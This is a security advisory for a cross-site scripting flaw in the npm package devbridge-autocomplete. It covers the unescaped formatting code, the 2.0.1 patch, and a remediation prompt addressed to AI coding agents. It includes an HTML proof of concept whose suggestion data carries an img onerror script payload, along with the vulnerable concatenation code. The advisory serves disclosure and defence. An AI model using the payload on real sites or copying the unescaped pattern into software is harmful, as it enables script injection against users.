# GHSA-hvqh-jw65-wcpq: The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping

> Cross-site scripting vulnerability in devbridge-autocomplete allows attackers to execute arbitrary scripts via unescaped HTML in suggestion data.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 22 Jun 2026

## What is GHSA-hvqh-jw65-wcpq?

GHSA-hvqh-jw65-wcpq is a cross-site scripting vulnerability in devbridge-autocomplete, published on 22 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

### Summary

The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.

### Details

**1. `formatGroup` — `category` is interpolated raw.**

`src/format.ts`:

```ts
function formatGroup(suggestion, category) {
    return '<div class="autocomplete-group">' + category + '</div>';
}
```

If `groupBy` is used and the grouping field of any suggestion contains HTML, that HTML is executed.

**2. `formatResult` — early-return branch returns `suggestion.value` raw.**

`src/format.ts`:

```ts
function formatResult(suggestion, currentValue) {
    if (!currentValue) {
        return suggestion.value;   // un-escaped
    }
    /* ... non-empty path escapes correctly ... */
}
```

The early-return branch is reached when `suggest()` renders with an empty `currentValue`, which happens with `minChars: 0` and a server that returns suggestions for an empty query. The returned string is concatenated into the container's `innerHTML`.

### PoC (formatGroup)

```html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
    <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="dist/jquery.autocomplete.js"></script>
    <script>
        var poisoned = [
            { value: 'Apple',   data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
            { value: 'Avocado', data: { category: 'Safe Group' } }
        ];

        $('#ac').devbridgeAutocomplete({
            lookup: poisoned,
            groupBy: 'category',
            minChars: 1
        });
    </script>
</body>
</html>
```

Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.

### Impact

XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.

### Patch

Both formatters now run their interpolated input through the browser's text-node escaping (`createElement` + `textContent`) before producing the HTML string. Fixed in version `2.0.1`.

## Which versions are affected by GHSA-hvqh-jw65-wcpq?

2 open source packages ship an affected version, including devbridge-autocomplete.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `devbridge-autocomplete` | npm | All versions | 2.0.1 |
| `devbridge-autocomplete` | npm | All versions | 2.0.1 |

## How do I fix GHSA-hvqh-jw65-wcpq?

Upgrade devbridge-autocomplete to 2.0.1 or later.

## Is GHSA-hvqh-jw65-wcpq being exploited?

There is no known exploitation of GHSA-hvqh-jw65-wcpq in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-hvqh-jw65-wcpq and fix it if it is affected.

What it is: GHSA-hvqh-jw65-wcpq is a cross-site scripting vulnerability in devbridge-autocomplete, published on 22 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-hvqh-jw65-wcpq in the wild and no public exploit code.

Affected packages and fixed versions:
- devbridge-autocomplete (npm): affected all versions; fixed in 2.0.1
- devbridge-autocomplete (npm): affected all versions; fixed in 2.0.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-hvqh-jw65-wcpq/ (Markdown: https://insights.sbomify.com/GHSA-hvqh-jw65-wcpq/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-hvqh-jw65-wcpq

---
From sbomify Insights: https://insights.sbomify.com/GHSA-hvqh-jw65-wcpq/
Summaries are generated and may contain mistakes; the official description above is the record.
